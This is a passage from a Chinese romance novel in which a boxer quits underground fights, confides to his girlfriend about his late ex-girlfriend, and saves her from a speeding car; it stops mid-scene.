当杜安勇裹着浴巾躺到她身边时,丁涵迫不及待圈着他的腰,紧拥着他。她很高兴杜安勇决定留下来,同时也有一种直觉,虽然杜安勇看上去平和安静,但却挡不住那股挥之不散的阴郁气息,而他正在有意无意地将那份阴郁转化成原始的性饥渴。她不是怕他,或担心自己的安全。杜安勇绝不会伤害她,但她觉得他好像在用她当某种解药,化解心中的阴郁。真正令她担心的是,几次美妙的性爱无法真正解决他的心病,所以他才会疏远、才会选择独处而不是她的陪伴。 他们的关系在进入二月后渐渐改变,不是像丁涵期盼的越来越亲密,她感觉到杜安勇开始退缩,变得烦躁心事重重。两人之间的沉默不再和谐自在,而且陷入沉默的时间越来越长。她曾试图跟他谈论究竟是什么事令他困扰,但他总是巧妙的回避。

杜安勇有种某件事不太对劲的感觉,不是灾难性的可怕错误,但只是不……太对。他没想过会那么喜欢丁涵,再次那么喜欢一个人,这让他心烦,甚至有些害怕。也因为这样,尽管和丁涵共享时光甜蜜美好,他也不愿意放纵自己。他需要时间独处,即使那让他看上去像是某种懦夫的行径。这念头只让杜安勇更加愤怒,就好像鞋里有颗石子或在拳场被打得爬不起来时的恼怒。自尊也好、自卑也罢,面对丁涵,他想给她全部,但他的世界太小太简陋,根本留不住她。

或者,留得住她么?

杜安勇长叹一声,打起精神向丁涵办公室走去。四处都是来来往往的人群,在落日的余辉中川流不息。今天是周三,他们会找家餐厅吃晚饭,然后直接去拳场。这次的比赛非比寻常,因为他已经决定和过去做一个了断。这两年拳场不光带来经济利益,更重要的,是老天所赐的最佳良方,使得在他心中闷烧的不安有个出口,也逼使自己将不愉快的记忆停留在角落。然而现在不同,他知道如果这么继续打下去,只会伤人伤己。

他不能害了丁涵,他已经害了——

忽然,杜安勇遥遥看到远处一个背影,娇小而消瘦,除此之外并无特别。他呆呆驻足几秒,然后快速跑动起来,不顾一切追逐那个熟悉的背影,仓皇中不知拨开多少人,撞到多少肩膀、引来多少责骂,可他到底没能追上她。杜安勇站在十字路口,在人群中焦急四顾。天已经暗了下来,他不知道该往哪个方向去追。放眼望去到处都是人,唯独不见她。杜安勇从来没有这么痛恨过汹涌的人群,轻易就将一个人完全淹没其中。

杜安勇不相信自己认错了人,但也知道一定是认错了人。他在路口驻足许久,直到黑暗完全将光亮吞噬,这才觉得身上冷似一阵、热似一阵,不需要用手去拭,也知道额上满头大汗。他一定是疯了,才会觉得一直站在这里会有任何改变。尖锐刺耳的铃声忽然在他耳边响起,杜安勇惊了一下才意识到是自己的电话。他按下接听,电话那头传来温婉悦耳的声音,是丁涵。

“我这边已经完事儿,要不要约个地方我去迎你啊,省点儿时间。”

杜安勇这才想起和丁涵的约会,他暗骂自己粗心,可这会儿的样子实在不适合见人。“我临时有点儿事儿,一会儿直接去拳场,你不用等我了。”

丁涵心思缜密,立刻听出他的异样。她关切地问:“怎么了?你还好?” 杜安勇摇摇头,过了会儿才意识到他对着电话,丁涵根本看不到。“没事,不用担心。”没等丁涵回答,杜安勇就挂了电话。他犹豫了一下,到底还是挑了个方向快步走出去。

如果杜安勇稍稍回头,就会看到站在远处的丁涵握着手机正直直盯着他。丁涵原本想走上前,但将杜安勇的失魂落魄净收眼底后,她明白这时候自己绝对不是他的最佳伴侣,更何况他也明确表示不需要她。丁涵不知道他看到了谁,使劲儿想要追的又是谁,但很明显感觉到他们之间脆弱的关系,即将触礁。

今天拳场来了三十多个人,女的全部年轻貌美,男的清一色亢奋激动。前两场只是热场,双方实力相差太大,很快就比出胜负。等到杜安勇上场时,比赛进入狂野,有的发出如狼似虎的喧哗呐喊,有的两指塞在唇间大吹口哨。这次他的对手外号‘金刚’,已经连着赢了两个月的比赛,正是血气方刚、气盛凌厉的时候。两人轻快跳上拳击台,低头从绳子下钻过去,互相握握手打了个招唿。在这个场子里,每个人都希望把对手打伤、击倒、直到打垮认输,谁都不会掉以轻心。然而双方并无恶意或仇恨,上了赛场就是为了分出胜负,无可厚非。

锣声一响,他们立刻拉开架势,‘金刚’迅速出击,时进时退、忽左忽右,一会儿用左拳打杜安勇的眼睛,一会儿又用右拳击他的肋骨,同时轻快跳离,脚步灵活,敏捷躲开杜安勇的反击,紧跟着又跳回来发动进攻,急不可待获胜的心情昭然若揭。开始几个回合全是‘金刚’的天下,他动作轻捷潇洒,狂风暴雨般的攻击令观众眼花缭乱、掌声四起,赢得全场喝彩。杜安勇完全被‘金刚’密如雨点的拳头压倒,根本没机会主动出拳,只是兜着圈子等待对手上来强攻,或者干脆扭抱住‘金刚’使他打不到自己。虽然有效,但这种毫无作为的躲闪抵挡、勉强招架的情形也更加刺激‘金刚’的好胜心和求胜欲。

‘金刚’的意图很明显,就是想靠这种穷追猛打、不依不饶来速战速决。这并不出人意料,因为和杜安勇比起来,他更有体能优势,尽可以凭借取之不竭的精力和必胜无疑的信心压倒他。杜安勇对于‘金刚’的反应太熟悉不过,然而这种快打其实并没有多大危险,只要见招拆招对付他的猛烈进攻就好。最关键的,他绝对不会跳来跳去,做一点儿浪费力气的事情。杜安勇的应对策略简单直接,不去想急于求成,而是耗住比赛时间,依靠平时积攒的技术经验,撑到他松懈、撑到他漏出破绽,然后施展最有效的打击。

‘金刚’也不是傻子,当然不会给杜安勇这样的机会。前面的几个回合形势完全一边倒,‘金刚’掌握场上全部主动,尽其所能打出凌厉有效的组合拳,同时根据杜安勇的优势与劣势做出攻防。杜安勇越是想掩盖保护自己的弱点,越有可能会遭到‘金刚’快速集中的进攻,不断地切入扩大。两人斗了一个回合又一个回合,全场观众激动得起立呐喊。‘金刚’也跟打了鸡血似的越打越凶、越战越勇。他已经无法忍受杜安勇这种折磨人的拖延方式,不断发起一波又一波攻势猛烈的进攻,一拳紧似一拳的出击、躲闪。杜安勇好几次险些被‘金刚’打得人仰马翻,仅一步之遥便被击倒在地。

终于,‘金刚’由于过度自信而露出破绽。刹那间杜安勇眼到手到,胳膊弯成拱形使拳头更加结实有力,同时把正在旋转着的全身重量都加在手上,一记勾拳挥了出去。‘金刚’下巴遭到这猛然一击,身子即刻向后倒在了台上。观众顿时紧张起来,不由发出一阵低沈的惊叹和叫好。

‘金刚’立刻爬起来,然而随着时间推移,由于先前的猛打强攻他已经精疲力竭,虽然能挥舞拳头把杜安勇打得踉跄后退,可最后杜安勇总能稳住身形继续迎战。‘金刚’不得不痛苦地意识到自己已经没了优势,再不那么神气十足,杜安勇比他先前碰到过的那些家伙们要厉害得多。乱糟糟的心理活动让‘金刚’无法集中精力,甚至不能发挥出自己真实的拳击实力。到第八回合,‘金刚’再一次失算,杜安勇躲过他致命摆拳,靠一记闪电般掏心勾拳,重重击打在他的下巴。‘金刚’倒了下去,这次再也没有能力爬起来。

裁判最终宣布杜安勇胜利,紧接着一个穿着蓝色短裙、紧身白上衣的女子投入他的怀抱。丁涵知道她应该习以为常,但还是忍不住一脸恶心地看着那女人张大嘴巴,挂到杜安勇脖子上凑了过去。杜安勇退开,目光快速飘向丁涵站立的角落,投给她一个轻轻的微笑,然后被一群人簇拥着,退出场子到后台休息整顿。 “我没看错吧,‘牛二’在对你笑么?你倒是会挑啊!”

丁涵沈浸在自己的思绪中,忽然耳边听到这么句吓了一跳。她寻着声音扭头,看到付明耀不知什么时候站在自己身边,一脸的挪揄。丁涵和付明耀一样,都和拳场的头儿有些沾亲带故,不过她在这儿只是数钱、付明耀却是找乐子花钱来的。丁涵皱皱眉头,假装不知道他在说什么。

付明耀贼贼笑了一下,“哈,你们自认为谨慎,可我在停车场见过你上他的车。”

丁涵白他一眼,“你究竟想说什么?别绕弯子。”

付明耀向杜安勇的方向抬抬下巴,“他和老板说今天打最后一场就退出了。” 丁涵愣住,完全没想到会听到这个消息。

付明耀看着她的表情,眼里闪现一丝惊讶。“看来你不知道?我还以为是因为你反对,他才决定退出的呢。”

丁涵摇摇头,小心翼翼地问:“你为什么会这么猜?”

付明耀一脸理所应当,“很简单啊,他当初是为了女人进来的,那退出当然也是为了女人。”

丁涵非常想表现的若无其事些,但现下的状态对她来说实在很难,两人的关系濒临破裂,她急需帮助挽留住这个男人。付明耀在这个拳场呆的时间比她长,对杜安勇的了解也更多,说不定能透露些什么,随便什么,只要让她知道杜安勇究竟是怎么了,她也好想出个办法应对,这会儿实在不是在乎面子上那点儿虚荣的时候。

丁涵下定决心,点点头表示承认,并且诚心问道:“你对他知道多少?” 付明耀笑道:“如果你以为他是那种会在我面前长吁短叹,诉说他是多么孤独和烦恼,那你就看错人了。一个人要费很大的力气,才能从他那儿知道一些关于他的事。”

丁涵‘哼’了声,一副不要废话的神态,“别卖关子了,我这儿正发愁呢。” 付明耀本也不打算隐瞒,说道:“他是人托人进来的,之前老板打听过他的底儿,背景倒是简单,进来是因为想结婚可没钱。开始打拳的时候他总是很着急跟老板那里提现,不过这两年却变了风格,想来事情没成。要知道他在这里时间可不短,赚的钱不是小数字。这位既没换工作、也没换住处、开的还是那辆破皮卡,甚至连件衣服鞋子都没见新的。估计应该在等吧,等人、等退出、等个理由。” 显然和她无关。

丁涵万分沮丧,打起精神说道:“这些他没瞒着我,他想结婚的是一个老乡,两人一块儿在超市打工,不过后来奔高枝把他甩了。”

付明耀了然,点点头说道:“和我猜的也是八九不离十。不过换个角度讲,他喜欢的类型和他有很多共同之处,而你……”他从头到脚打量她,叹了口气,非常惋惜似的,“没的比。”

丁涵立刻跳了脚,脸上流露出紧张不安的神情。“你在说什么啊!她怎么和我比?我可没有把他逼到这里,每个星期被人打个鼻青脸肿。”

付明耀奇怪地看着她,使她了解她说的话想必有些怪异。“他显然不介意。” 丁涵眯起眼睛,一脸厌恶地说:“什么意思?我出局是因为隔壁大棚那个种菜的妹子才是他的最佳老婆?”

付明耀不以为意,耸耸肩道:“说不定呢。把女人当玩儿还是当事儿,二十岁的男人可以不用脑子想,但三十岁的肯定不会。”

丁涵想要反驳,可张了张嘴却发不出声音,到底还是安静下来。付明耀这么说有根有据,他以前有个人见人夸的女友周敏,非常漂亮、非常优秀,家里人都说这俩是最登对儿般配的一对儿,每次看到他们在一起,也都是甜甜蜜蜜、恩爱有加,随时都可能宣布男婚女嫁的样子。结果呢,付明耀还不是说甩就甩、没有一点儿犹豫,不管周敏爱他爱得多一塌煳涂。

丁涵咬着嘴唇出神想了很久,这才声音略带颤抖和懊恼地说:“开始在一起时稀里煳涂,以为只是玩玩。后来是我提出大家在一起的,当时看他蛮喜欢这点子,可是我好像还是太心急,想从他那里得到很多,也想付出很多,但对他来说太快了些,他还没有准备好。最近一段时间明显疏远很多,而且心事重重。我一直说和他聊,什么事儿不能坐下来好好谈,但他…心思不在这儿,具体怎么回事儿我也说不来,总之一副随时要跑路的样子。”

付明耀摇头,“他又不是律师,聊有毛线用。这位打拳,只懂血腥暴力。你也是看到刚才的情形,当他赢‘金刚’赢的侥幸么?其实整场比赛都在按着他的节奏走,对手再嗨也是输,所以,无论是当玩儿还是当事儿,跟他这儿就得豁出去狠着劲儿来,重要的是掌握主动。”

丁涵疑惑地看着付明耀,“是么?但是我认为现在还不必给他发最后通牒。” “为什么不?”

“他不会喜欢的。如果我施加太大压力,也许他就真要被吓跑了。”尽管到目前为止,和杜安勇的相处除了性爱以外,没有丁涵想像中的浪漫和快乐,这有些泄气,但她还不准备放弃。

付明耀一副无所谓的样子,“那又有什么关系,你自己都说他现在已经准备跑路了。”

和付明耀再见后,丁涵找到杜安勇,像往常一样两人回到她的公寓。杜安勇非常沉默,面目严肃冷峻、一副不愿意说话的样子。这种情况不管怎么自圆其说或者乔装打扮,丁涵的感情还是受到极大伤害。她不由自主把付明耀说的每一句话在脑子里重新过一遍,记住了一些,好像也忘掉了一些,使得她拼命想把忘掉的那部分尽量回忆起来。

丁涵定了定心神,将白酒和几盘小菜放在餐盘上,端起来走进起居室。

杜安勇坐在沙发上,身躯微微前倾,双肘搁在腿上,一手拿着遥控器,漫不经心按过每个新闻频道。

“你今天晚上打得很凶啊!”丁涵说着将餐盘放在茶几上,其实他每场都打得很凶,她不过没话找话而已。

“嗯。”杜安勇答应着拿起酒杯,顺便把电视音量减小。“我告诉老板这是最后一场,然后就退了。”

丁涵很是高兴他并没有打算隐瞒此事,但也察觉到他没有说出原因。她窝在沙发另一角,手枕着靠背,给杜安勇时间希望他多说一些,但是他没继续。照以前,丁涵也许就岔开话题说些别的,但和付明耀交谈之后,她决定稍微探究。丁涵轻声问道:“怎么了?是想了很久还是忽然决定的?”

她以为他不会回答,然而杜安勇耸耸肩,“迟早的事儿。”

“感觉如何?”

杜安勇啜了一口酒,眼睛仍在电视屏幕上。“什么感觉如何?”

“如果早就决定了,你为什么仍是一副心事重重的样子?”

杜安勇的酒杯停在半空,毫无预警的,眼中的些许暖意消失,表情变得封闭而退缩。

丁涵她微微一笑,“你知道我是怎么想的吗?”

“不知道,但我感觉你会告诉我,不是吗?”

“无论如何打拳已经成为你生活一部分,现在说放弃,让你割舍不下。我认为你很担心自己适应不了。”丁涵将语气刻意压得柔缓,而且仔细盯着杜安勇的反应。

杜安勇畏缩了一下,“胡说。”他的目光重新挪向电视,而丁涵打赌,他什么都没看进去。

入夜,他们相拥而眠。漆黑的卧室里没有任何动静,月光透过窗帘间的缝隙照射进屋里,隐隐照亮房间里的一个小角落,也让黑暗处显得更加黑暗。杜安勇睁着眼睛盯着天花板发呆,想到今天下午在马路上看到的那个熟悉背影,顿时感到烦躁不安、喘不过气。他试着深深吸气再缓缓唿出,可却没有半点帮助,屋里好像被抽了一半的氧气,让他几乎快要窒息。杜安勇仔细聆听丁涵的唿吸变得均匀绵长,这才轻轻抽出压在丁涵脑袋下的胳膊,起身悄无声息地移动。

丁涵醒了过来,杜安勇的轮廓在黑暗中模煳难辨,但其实无所谓,她早已把他的音容笑貌清清楚楚记在脑子里。丁涵给了杜安勇几分钟,确定他起床不是走向洗手间。心中的怀疑得到证实让她很不高兴,但她试着让自己尽量保持冷静。丁涵默默坐起来,双腿盘在身下,手肘撑在膝上,下巴靠着手掌,直到看着杜安勇穿戴整齐一副要出门的样子,她才开口说道:“你知道你实在可以靠当夜盗赚大钱,当然,也可能是你擅长熘出女士卧室。”

杜安勇有片刻静止不动,接着转过身一脸歉疚。“抱歉,我无意吵醒你。” “看得出来。”

“丁涵——”

“告诉我你究竟怎么了?我知道你心里有事儿,说出来,除非你打定主意让我蒙在鼓里。”

“我睡不着。”杜安勇拿起一件黑色外套。“我想你不会喜欢我在你的客厅踱步到天亮,所以我决定去外面走走。”

“三更半夜?”

“我只是想新鲜空气应该会有帮助。”

“得了吧,”丁涵发现自己在挥舞双手,于是勉强交叉抱在胸前,狠狠地说:“你打算离开我走人,对不对?”

“你在说什么?”

“你这一离开就不再回来了。”丁涵心里既难过又愤怒,“我简直不敢相信,你至少该更有风度、更有礼貌些。”

杜安勇皱着眉头矢口否认:“让我们说清楚。我不是要出走,只是出去走走,这两者差别很大。”

“我才不信。你这段时间古怪透顶,我认为那是因为你想结束我们的关系。”泪水刺痛了丁涵的眼睛,声音有些颤抖,“你改变主意,却没有胆量告诉我,对不对?”

“当然不是。”

“当然是!后悔了,厌烦了,然后走人,承认吧!”

“操,你少替我发言。”杜安勇两大步缩减两人之间的距离,紧握住她的上臂。“不是你想的那样。”

丁涵非常清楚他指间传达的强制力,他没有弄痛她,但也一样无法挣脱。她抬起下颚,倔强地说道:“那你干嘛想离开?”

“我不是想离开,”杜安勇粗声说:“但如果我今天回自己家或许会比较好。” 丁涵忍不住再次提高嗓子,“我就知道。”

“不,你什么都不知道,你只是认为你知道,这和你、或我们俩没关系。” “胡说八道,那我们在这里吵什么,无论是什么,都正在影响我们的关系。” “丁涵,我只是有些烦躁,就这样,不想影响到你而已。”

“你在说什么啊!不声不响避开我走得远远的,就不再烦躁了么?情绪就稳定了么?还说和我无关。”

“不是的,”杜安勇语气阴郁,放开她后退一步,停顿片刻叹口气道:“对不起。”

丁涵心里一沈,重点来了!她追问道:“道歉什么?你说清楚!”

杜安勇更加犹豫,但这种时刻,道歉又何济于事。他想了想,还是决定用最直接的方式坦白。“记得我在电梯里说过,我以前有个女友,今天在路上看到她——”

丁涵立刻明白过来,她暗叫倒霉,心里更是恨得牙齿痒痒,“原来如此,这些天你心神不甯,果然是‘前女友’跑来捣乱。你爱她爱的要死要活,她却另结新欢。现在这个女人重新回来找你,倾诉一堆胡扯八道的废话,总之就是她过得不快乐,日子很苦很艰难,想和你重修旧好,因为这会儿终于明白你的好。你当然对她好了,她要什么你给什么,招之则来,挥之则去。可对我呢,就可以当混蛋,从头到尾跟我招唿都不打、一句话也不说,憋着劲儿不声不响就这么把我甩了,跟你那前女友一个德性。”

杜安勇摆摆手,想要制止住丁涵天马行空的想象力。“你听我说完,行么?” 显然不行。

丁涵抹了抹从眼眶奔涌而出的泪水,有些绝望地说道:“到这会儿了还能说什么——你的心情很复杂,你其实也非常喜欢我,不想和我分手,可就是放不下她,尤其她现在正是需要你的时候。承认吧,你想说的不过是一堆安慰人的废话,让我好受些,也让你自己能好受些,是个人都知道那是怎么回事儿。”她神情凄惨,苦笑着继续说道:“我们总是会想,没有选的那条路会不会更好。”

杜安勇看她越扯越远,忍不住吼道:“你闭一下嘴行不行?”

丁涵眼泪流得更凶了,一副伤心欲绝的样子,“现在哪儿有我说话的份儿,明摆着前女友那条路更好。”她话锋一转嗓音提了起来,“当然会更好了!她多楚楚可怜啊,你不能离开她,是吧?承认吧,你今天下午没和我一起吃饭就是因为她,是吧?你们在一起聊什么?我打赌她一个劲儿提醒你别忘了当初俩人在一起的幸福时光,是吧?你决定不打拳也是因为她,是吧?你们打算一起回老家从此幸福地生活在一起,是吧?”

丁涵虽然一个又一个的问题抛给杜安勇,但他已经放弃开口回答的机会,只是静静地站着看丁涵脾气爆炸、怒火冲天。

果然,丁涵几乎尖叫着继续说道:“行了,现在情形再清楚不过了。你走好了,成全你们,但别想听我说什么好话。凭什么啊,她比我可怜就可以她说了算!搅了我的生活,抢了我的男人,我咒她下十八层地狱!”

杜安勇脸上出现一个古怪的表情,“她死了。”

丁涵正处于抓狂状态,根本就听不进去杜安勇说什么。她两行眼泪流成河也顾不得擦,只是使劲儿点点头。“没错,我就是这意思,她对我做得恶毒,就别怪我说得恶毒。‘前女友’这种生物就是社会公害,真心应该被扔进黑洞,从此在宇宙中消失。”

杜安勇无奈补充:“她已经死了,死了两年了!”

丁涵开始还没回过神儿,等终于听明白了,愣是将快要喊出嘴边的委屈咽了回去。强烈的释然交织着尴尬,丁涵这才知道闹半天假想敌竟然根本不存在。她觉得自己万分傻气,一时又有些拉不下面子,可也不知道该如何反应,而且杜安勇刚刚提起今天还看见了这个女人更是让她煳涂迷惑,只能愣愣吐了个字:“噢!对不起,那个…我一时气话而已,不是说真的。”

“过两天就是她的忌日。”

杜安勇说完身子有些摇晃,丁涵赶紧走上前抱住他,直至感觉他的紧绷消失了些,才拉着他的手,可怜兮兮说道:“好吧,是我的嫉妒心在作怪。我无权说那些话,刚才只是太委屈了,觉得你对我很不公平。要知道我好不容易才遇见你,高高兴兴正打算庆祝这辈子来了一次成功冒险,却没想到忽然来个前女友跑回来搅事儿。这让我感觉就像……就像挂在驴子面前的胡萝卜,明明就在眼前,拼命拉车却永远也吃不到。”

杜安勇苦笑,“这是我迄今为止听到的最烂比喻。”

丁涵知道这将是个漫长的夜晚,她带他走出卧室。“来吧,我们去厨房,我弄杯热牛奶给你。”

“我——”杜安勇只说了一个字就梗住了。

丁涵关心地低声问:“你还好吗?”

杜安勇点头,至少他觉得自己点头了。“我或许需要些有后劲儿的饮料。” “依你。”

杜安勇斜靠在流理台边,看着丁涵在厨房里拿出酒杯和酒瓶,倒好后递给他。他啜饮一口,“这感觉很怪。”

丁涵忽然静止不动,“嗯?”

“谈论她,赵怡。”

丁涵有点紧张,自我辩解:“这是她的名字?你如果不想说,就不要说。” “不,这样很好,我只是不太习惯。”

赵怡在杜安勇送货的超市打工收银,她长得漂亮、人也活泼,虽然比他出来得晚,却很快和超市的员工稔熟起来,追求者更是众多。赵怡挑来挑去,最后挑中了身高马大的杜安勇。他自然欣喜万分,百般照顾和讨好,那一年可以说是杜安勇最开心的日子,直到一个叫韩宗海的医生出现。起初他还被蒙在鼓里,只是感觉到赵怡对他渐渐疏远和冷漠。聊起来了,赵怡只会说些哪个店里在卖好看的衣服、哪儿的餐厅酒楼又开了新菜系。

杜安勇爱煞赵怡,她是他的一切,而她也清楚他的心意,并且能够让自己予取予求。杜安勇迅速找到来钱快的方式,虽然曾经发誓不再打拳,但为了深爱的女人,他心甘情愿付出所有。可既是这样,对她来说还是不够。直到有一天赵怡和他摊牌,告诉他她心有另属。杜安勇惊呆了,尤其是打听到对方已经是个年过半百的老头子,更是用尽办法劝她回心转意。然而苦心劝说也好,大发雷霆也罢,无论他如何软硬兼施,赵怡就好像吃了秤砣铁了心。

杜安勇努力争取了三个多月,换来的不过是赵怡和他的最后决绝。

“你不能这样对我们。”杜安勇的语气沙哑。

“不是我们,这是对你。”

“我不是在拦着你,但你真的在犯错。”

“不,我是在更正和你扯上关系的错误。”赵怡的语气锐利起来,然后转为灿烂的笑脸,“我要结婚了。”

杜安勇彻底懵住,他们在一起才几个月而已,赵怡竟然就要和那老头儿结婚了!他紧握住双拳,知道一切难以挽回,只能勉强挤出一丝笑容。“那,他妈的,恭喜你。”

赵怡对于他的道喜并没有什么在意,不过还是伸出手,“谢谢。”

杜安勇立即回握住她的手,只是她很快就把手抽了回去,快速和他说完再见后转身离开。杜安勇哪里会舍得,一年的感情更不是说放就能放的。他明知自己傻,可还是忍不住偷偷跟着她,看她换上漂亮的衣服、跨上新买的手提包走到民政局。

意外的是赵怡的未来丈夫并没有出现,他在暗处眼睁睁看着坐在长凳上的赵怡,先开始是一脸期待的笑容,然后变成不满和生气,再到焦急和担心。直到民政局下班,她才不得不起身离开。即使这样,赵怡还是在大门口来回踱步,天空飘起了细雨,很快雨势就大了起来,可她不管不顾,只是拿着手机不停地查看和拨打。杜安勇实在看不下去,想要上前拉住她,却没想赵怡拦住一辆出租车飞驰离开。

杜安勇说到这里陷入沉默,丁涵实在不明白,忍不住问道:“你一直躲在边上看?”

杜安勇点点头,“赵怡一直让我们隐瞒两人的关系,说大家在一起打工,怕影响不好。后来摊牌,她明确告诉我任何时候都不能出现在她身边,她怕引起那个医生的误会。”

丁涵不屑地从嗓子里冒出一个咕哝声,杜安勇也感觉到脸上因为羞愧而引起的灼热和气愤——气自己的愚蠢,蠢到玩这种偷偷摸摸的游戏。

“后来呢,她去找那个医生了?”

杜安勇点点头,勉强说道:“那医生显然只是玩玩,不然怎么可能任由她一个人在民政局坐一整天的时间。”

之后的故事可想而知,绝望的赵怡守在医生的家门口,等到他的车子开过来,义无反顾扑了上去,当场丢了性命。

“可你刚才说今天看见她是什么意思?她爱的是你,人却想给那个医生。现在人没了,就跟你这儿留恋着?”丁涵仍然疑惑不解,自己都觉得荒唐可笑。 “爱?赵怡不可能爱我,这点我早就知道。我唯一犯下的错,就是我总是记不住。”杜安勇揉了揉太阳穴,自我解嘲道:“我确实以为看见了她,只是周围很多人,又是背影。可能最近压力有点儿大,又临近她的忌日,脑子乱了些。” 杜安勇仰起脖子将杯中最后一点酒灌到肚子里,起身拉住丁涵的手。他不知道她会怎么想,他的坦白对两人之间又会有什么影响,他甚至不确定自己心里究竟是好受还是难受。然而丁涵看上去却异常平静,两人再次回到昏暗的卧室。 丁涵爬上床说道:“如果你睡不着就去看电视,但答应我别半夜出去散步。” 杜安勇躺到她身边将她拥入怀中。一会儿,他睡着了,但丁涵没有。这男人是个重情重义的人,毕竟是相处了一年的女人,杜安勇缅怀悲伤无可厚非。更何况和赵怡这些事儿都是他在认识她之前发生的,她还不至于那么不懂事,为此和杜安勇发脾气耍性子。人死如烛灭,她是绝对不相信这世上会有鬼,虽然现在看来跟杜安勇这儿还是阴魂不散。那就只有一种解释,杜安勇对赵怡用情太深,以至于走火入魔虚实不分了。

丁涵清醒地想着刚才他说的种种,知道杜安勇道出的都是实话,但也没有说出全部真相。她不知道他省略的是什么,以及他为什么觉得必须有所隐瞒。丁涵暗暗决定打听一二,她不是嫉妒心作祟,也不是窥探别人隐私。她只是挖掘事实的真相,这样才能拿出对策。现如今,她已经不光是在帮杜安勇,更是在帮自己,竭尽全力、在所不惜。

四不管将来会怎样,总好过现在的一无所有。

赵怡忌日这天,杜安勇原本想去出事的地方烧些纸祭拜她。丁涵知道了固执地也要跟着一起去,自此那天晚上大吵之后,她和杜安勇说话就不再拐弯抹角,而且坚决不当‘隐形人’,说起理由振振有词——杜安勇本人的经历就是活生生教训。对于丁涵的黏煳杜安勇倒是并不介意,甚至心里还有些小喜欢。可烧纸祭拜和两人牵手走在马路上是两回事儿,他并不很想让丁涵跟着,然而就算他一再保证做这一切只是站在老乡的立场,没有其他特别含义,丁涵的反应只是摇头,抓着他的衣袖就差让自己挂到杜安勇身上。

杜安勇没办法,只好载着她一起来到赵怡出事的地方。这天刚好是周末,他们又挑了个大清早,三四个提着兜子赶早市的妇女,叽叽喳喳聊着天从他们身边走过。

“不知道这次韩医生得罪了谁?竟然寻仇寻到家门口了。”

“可不是么,现在医生也是高危职业啊!”

丁涵和杜安勇听到后不由自主相视片刻,然后目光一起向马路对面看去,只见一片住宅小区的院门深处,一群人围了里三圈外三圈,对着一副超级大的海报正说要不要上前看看热闹,扭头看向杜安勇却吓了一大跳。她一直以为‘面无血色’这个词不是真的而只是一种修辞,但除此之外,她不知如何描述杜安勇脸庞刷白的模样。

“阿勇?怎么回事?”丁涵惊慌地问道。

片刻后,杜安勇低声开口,几乎像是听不见自己的声音,“我不知道。” 说完,他甩开丁涵的手,大步向马路对面奔去。杜安勇完全没想到会在看热闹的人群中再次看到赵怡的背影,可相同的情形已经发生第二次,他无论如何要赶上前看个究竟。杜安勇盯着赵怡向聚集的人群狂奔,就在快要接近时,一个门卫老头儿忽然挤进人堆儿,‘哗’扯下大海报,满脸厌烦对着看热闹的一圈人喊道:“都散了,一个个没事儿么?跟这儿挤着看热闹。韩医生救了他们多人,怎么没见你们这么积极谢人家。”

门卫老头儿边说边推搡着,催促人群离开,看着杜安勇还往前冲,一时更加生气,跨步挡到他面前,使劲儿揪住他嚷嚷道:“我这么大嗓子你还听不见么,挤得这么凶想挑事儿怎么着,赶快走人。”

杜安勇被门卫老头儿一打岔,再抬眼寻找赵怡时,已经完全看不见踪影。他焦急地四处张望,忽然发现丁涵喘着气从马路对面朝他跑过来,她是如此专注想要跟上他,根本没看到有一辆汽车正高速朝她行驶过来。杜安勇只觉得一股寒气直逼脑门,完全忘了找赵怡的事儿,用尽全力使劲儿向丁涵扑了过去。那一瞬间,杜安勇只有一个念头,他得把她拉回来,就算躲不过,他也要陪着丁涵。

丁涵跑到马路中间才听到汽车鸣笛声,侧过头一看吓得几乎魂飞魄散。她惊恐地睁大双眼,本能让她躲闪,却不由自主身体变得异常沉重。忽然,一阵巨大的力量将她牵引向马路旁边,她扑跌在一个带着暖意的怀中,接下来脑海全是空白。

杜安勇用尽全身力量将丁涵拖到路边,惟一动作就是抱紧她。飞奔的汽车在他们旁边停下来,一男一女两个人从车里飞快冲了出来。他们也是脸色惨白,看样子被吓得不轻,一个劲儿抱歉不说,关切地询问有没有撞上、哪里受伤,坚持要带丁涵去医院检查。

丁涵好一会儿才回过神儿,摇头道:“没事儿。这也怪我,一时心急没看路。” 这时候已经有三三两两的路人停下来看热闹,丁涵不习惯在大马路上被一圈人围在中心,她抬起脸再次向杜安勇保证一切安好,并且央求道:“带我离开这儿。”

旁边两人马上应声问去哪儿,可以送他们。杜安勇狠狠瞪了一眼说话的男士,要不是怀里抱着丁涵,非朝他脸上挥一拳头不可。他撂下句脏话,揽着丁涵回到他的皮卡。杜安勇阴郁地问道:“要不要去医院,有没有头晕、恶心、呕吐、耳鸣?”

“没有!”丁涵迅速说道:“没有,我——”

“我还是要检查,”

杜安勇无视她的抗议,测了她的脉搏、唿吸,检查她的关节,甚至拿着手机里的电筒照了照眼睛,看着她的瞳孔收放正常这才松了一口气。他打了一辈子的架,没想到所学的那点儿医护知识今天竟然用到丁涵身上。

“阿勇,我——”

“你刚才差点没命,争论就免了。”

刚才从车上下来的女士早已快步跟上他们,在旁边观看杜安勇给丁涵做检查,临了递给他们一张名片,嘱咐万一有什么事儿一定要打电话联系。杜安勇火气再大也不好意思跟个女人发脾气,又看她确实心思诚恳,这才勉强收了下来。 丁涵已经从刚才的震惊中恢复了很多,低声抱怨杜安勇小题大做,碰都没碰上,怎么可能有事儿。可看他非常紧张的样子,到底还是由着他折腾。令丁涵意外的是,杜安勇没有带她回她的寓所,而是一路向郊外开去。

“我们去哪儿?”丁涵疑惑地问道。

“我家。”杜安勇面色严肃,连答话也简单许多。

这还是丁涵第一次来杜安勇的家。和自己那狭小的公寓比,杜安勇的家要大很多,但整间屋子隐约透着无人照管的味道,家具陈旧古老,几乎没有任何装饰,杜安勇若非囊中羞涩,就是根本无心理会。她坐进一个超大沙发中,感觉杜安勇像这沙发一样,耐用、边缘略微磨损,但构造实在且坚固。

丁涵刚想开口夸两句,杜安勇却忽然把她提了起来,激动而用力地把她抱在身上,力道强得让她担心骨头会散架。他把脸埋在她的颈窝,嘴唇移动,仿佛想说话却又放弃,只是喃喃叫她的名字,一声又一声,然后唿唤变成亲吻,嘴唇划过她的肌肤、找到她的唇深入探索,速度快得让她头晕目眩。

丁涵稍稍撤离吸口气,然后呵呵轻笑出声。“我没事儿,刚才是不是吓着你了?”

杜安勇把她搂得更紧,说话也更加吃力,仿佛字字从喉咙中撕裂而出。“对不起,都是我的错。”

丁涵有些诧异,掰过杜安勇的脑袋看向他,“你在说什么?明明是你救了我啊。”

“那不是重点,”杜安勇一脸严肃,说道:“我,我不该抛下你。要是我刚才……”他停下来,又尝试开口,“若非我刚才……”

